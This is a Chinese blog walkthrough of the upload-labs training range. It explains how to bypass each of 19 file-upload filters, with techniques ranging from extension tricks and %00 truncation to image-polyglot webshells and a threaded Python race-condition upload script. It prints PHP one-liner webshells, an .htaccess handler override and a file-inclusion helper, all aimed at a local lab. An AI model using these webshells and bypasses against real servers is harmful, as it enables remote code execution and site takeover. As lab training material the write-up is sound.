前言
好久之前寫的,來水一下。
Pass-01
這題的目的是前端的繞過
打開題目,試一下,隨便上傳一張圖片,可以成功上傳
打開代理,bp抓包,上傳含有一句話木馬的1.php,發現一個問題
此時,已經打開了代理,bp把流量截了下來,但是卻給出了,錯誤提示,說明這是一個JS前段驗證
F12修改前端代碼,添加.php文件的驗證
即可成功,也可以禁用js,也可以成功上傳.php文件,然後用菜刀連接即可
修改後綴名也可以繞過,
上傳一句話木馬,文件名爲ee.jpg
<?php eval($_Psot['ee']); ?>
bp抓包後,修改後綴名爲.php,即可成功上傳.php文件
使用菜刀連接即可,
Pass-02
查看源碼,發現僅僅判斷content-type,於是修改content-type繞過
修改爲image/jpeg、image/png、image/gif任何一個都可以,就可以成功上傳.php文件
bp抓包,修改文件後綴名也可以
Pass-03
查看源碼,發現是黑名單驗證,對.asp|.aspx|.php|.jsp後綴名進行了嚴格的限制
只能上傳別的類型,於是嘗試用php3,phtml繞過,都可以成功上傳
源碼解析
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
if (file_exists(UPLOAD_PATH))
{
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);//trim()去點文件的空格 $file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');//查找字符在指定字符串中從左面開始的最後一次出現的位置,如果成功,返回該字符以及其後面的字符
$file_ext = strtolower($file_ext); //轉換爲小寫這樣就不能進行大小寫的逃逸了 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext))
{
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name']))
{ $img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name']; $is_upload = true;
}
}
else
{
$msg = '不允許上傳.asp,.aspx,.php,.jsp後綴文件!';
}
} else { $msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';
}
}
//原文:https://blog.csdn.net/qq_29647709/article/details/81227084
Pass-04
也是一個黑名單驗證,強度更大,幾乎過濾了所有的後綴名,除了.htaccess
.php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"
.htaccess文件,全稱是Hypertext Access(超文本入口)。提供了針對目錄改變配置的方法, 即在一個特定的文檔目錄中放置一個包含一個或多個指令的文件, 以作用於此目錄及其所有子目錄。作爲用戶,所能使用的命令受到限制。管理員可以通過Apache的AllowOverride指令來設置。
上傳一個.htaccess文件,在裏面寫入
SetHandler application/x-httpd-php
這樣所有文件都會解析爲php,然後再上傳圖片馬,就可以成功解析:
可以成功訪問,說明解析成功
Pass-05
看了一下源碼,發現黑名單所有後綴名都被過濾了,也包括.htacces
".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"
但是,和前面的比較一下,少了一行將將後綴進行大小寫統一的代碼
pass-5
pass-4
所以,可以通過大小寫繞過
成功上傳
Pass-06
查看源碼,黑名單
可以發現,沒有對後綴名進行去空處理,可在後綴名中加空繞過:
$file_ext = trim($file_ext); //首尾去空
上傳成功
Pass-07
查看源碼,黑名單
可以發現,沒有對後綴名進行去”.”處理,利用windows特性,會自動去掉後綴名中最後的”.”,可在後綴名中加”.”繞過
$file_name = deldot($file_name);//刪除文件名末尾的點
上傳成功
Pass-08
查看源碼,黑名單
沒有進行去除字符串::DATA來繞過:
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
上傳成功
Pass-09
查看源碼,黑名單
可以發現,源碼的第15行,與之前的不一樣
$img_path = UPLOAD_PATH.'/'.$file_name; //這一關的
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; //之前的
路徑拼接的是處理後的文件名,於是構造info.php. . (點+空格+點),經過處理後,文件名變成info.php.,即可繞過。
Pass-10
查看源碼,黑名單
這兩行代碼有問題
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
str_ireplace()函數
str_ireplace(find,replace,string,count)
參數 描述
find 必需。規定要查找的值。
replace 必需。規定替換 find 中的值的值。
string 必需。規定被搜索的字符串。
count 可選。一個變量,對替換數進行計數。
原文:https://blog.csdn.net/qq_29647709/article/details/81237032
注意到,這裏是將問題後綴名替換爲空,於是可以利用雙寫繞過
Pass-11(00截斷$_GET)
查看源碼,發現是一個白名單,$_GET傳參save_path
看到是白名單判斷,但是$img_path直接拼接,因此可以利用%00截斷繞過
基礎補充兩個函數:substr()、strrpos()
strrpos() 定義和用法
strrpos() 函數查找字符串在另一字符串中最後一次出現的位置。 註釋:strrpos() 函數對大小寫敏感。
相關函數:
stripos() - 查找字符串在另一字符串中第一次出現的位置(不區分大小寫)
strpos() - 查找字符串在另一字符串中第一次出現的位置(區分大小寫)
strripos() - 查找字符串在另一字符串中最後一次出現的位置(不區分大小寫)
語法
strrpos(string,find,start)
參數 描述
string 必需。規定被搜索的字符串。
find 必需。規定要查找的字符。
start 可選。規定在何處開始搜索。
原文:https://blog.csdn.net/qq_29647709/article/details/81264120
substr() 這裏寫代碼片語法
substr(string,start,length)
參數 描述
string 必需。規定要返回其中一部分的字符串。
start 必需。規定在字符串的何處開始。正數 - 在字符串的指定位置開始 負數 - 在從字符串結尾開始的指定位置開始0 - 在字符串中的第一個字符處開始 length 可選。規定被返回字符串的長度。默認是直到字符串的結尾。正數 - 從 start 參數所在的位置返回的長度負數 - 從字符串末端返回的長度
原文:https://blog.csdn.net/qq_29647709/article/details/81264120
截斷條件:
php版本小於5.3.4 詳情關注CVE-2006-7243
php的參數開關上設置裏magic_quotes_gpc爲OFF狀態
設置完成後,即可成功繞過,
詳情查看:https://blog.csdn.net/qq_29647709/article/details/81264120
Pass-12(00截斷$_POST)
查看源碼,$_POST傳參save_path
還是利用00截斷,但這次需要在二進制中進行修改,因爲post不會像get對%00進行自動解碼。
添加一個1.php+(任意名稱)
這裏的2b對應的就是**+**號,將2b改成00,即可成功截斷,1.php也可成功上傳利用
Pass-13
查看源碼,
可以看出,驗證上傳文件類型的方法是:通過判斷上傳文件的前兩個字節來判斷的,所以直接上傳圖片馬即可繞過.jpg和.png檢查,製作方法
copy 1.jpg /b + info.php /a shell.jpg
1.jpg是一個圖片,info.php寫入一句話木馬的文件,shell.jpg複製後的文件
添加GIF圖片的文件頭GIF89a,繞過GIF圖片檢查。
一句話木馬也可以上傳成功
文件路徑也會顯示,然後就可以利用文件包含漏洞。
可以寫一個include.php:
<?php
$file=$_GET['page'];
include($file);
?>
然後放在upload中,在你上傳成功圖片馬之後,你可以訪問,執行phpinfo().
http://127.0.0.1/uploadlab/upload/include.php?page=upload/5020190128200535.jpg
Pass-14
查看源碼,
這裏使用getimagesize獲取文件類型
getimagesize() 函數將測定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像文件的大小並返回圖像的尺寸以及文件類型和一個可以用於普通 HTML 文件中 IMG 標記中的 height/width 文本字符串。
如果不能訪問 filename 指定的圖像或者其不是有效的圖像,getimagesize() 將返回 FALSE 併產生一條 E_WARNING 級的錯誤。
利用圖片馬就可進行繞過,和上一關一樣。
Pass-15
查看源碼,
利用exif_imagetype(),判斷文件類型,Pass-13的方法即可繞過。
Pass-16
查看源碼
使用imagecreatefromjpeg()來判斷文件類別,已可以使用Pass-13的方法。
原理:將一個正常顯示的圖片,上傳到服務器。尋找圖片被渲染後與原始圖片部分對比仍然相同的數據塊部分,將Webshell代碼插在該部分,然後上傳。具體實現需要自己編寫Python程序,人工嘗試基本是不可能構造出能繞過渲染函數的圖片webshell的。
Pass-17
查看源碼
利用條件競爭刪除文件時間差繞過。使用命令pip install hackhttp安裝hackhttp模塊,運行下面的Python代碼即可。如果還是刪除太快,可以適當調整線程併發數。
# coding:utf-8
# Build By LandGrey
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341
-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream
<?php assert($_POST["LandGrey"])?>
-----------------------------6696274297634
Content-Disposition: form-data; name="submit"
上傳
-----------------------------6696274297634--
"""
code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
print(str(code) + "\r")
pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()
在腳本運行的時候,訪問Webshell,我一直沒成功,不知道爲什麼
原文鏈接:https://www.chabug.org/web/470.html
Pass-18
查看源碼
像Pass-13一樣可以上傳圖片馬
Pass-19(CVE-2015-2348 move_uploaded_file() 00截斷)
查看源碼
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上傳失敗!';
}
CVE-2015-2348 move_uploaded_file() 00截斷,上傳webshell,同時自定義保存名稱,直接保存爲php是不行的
發現move_uploaded_file()函數中的img_path是由post參數save_name控制的,因此可以在save_name利用00截斷繞過:
利用方式:
上傳的文件名用0x00繞過,改成19.php【二進制00】.1.jpg
參考兩個大佬的
https://blog.csdn.net/qq_29647709/article/details/81264120
https://www.chabug.org/web/470.html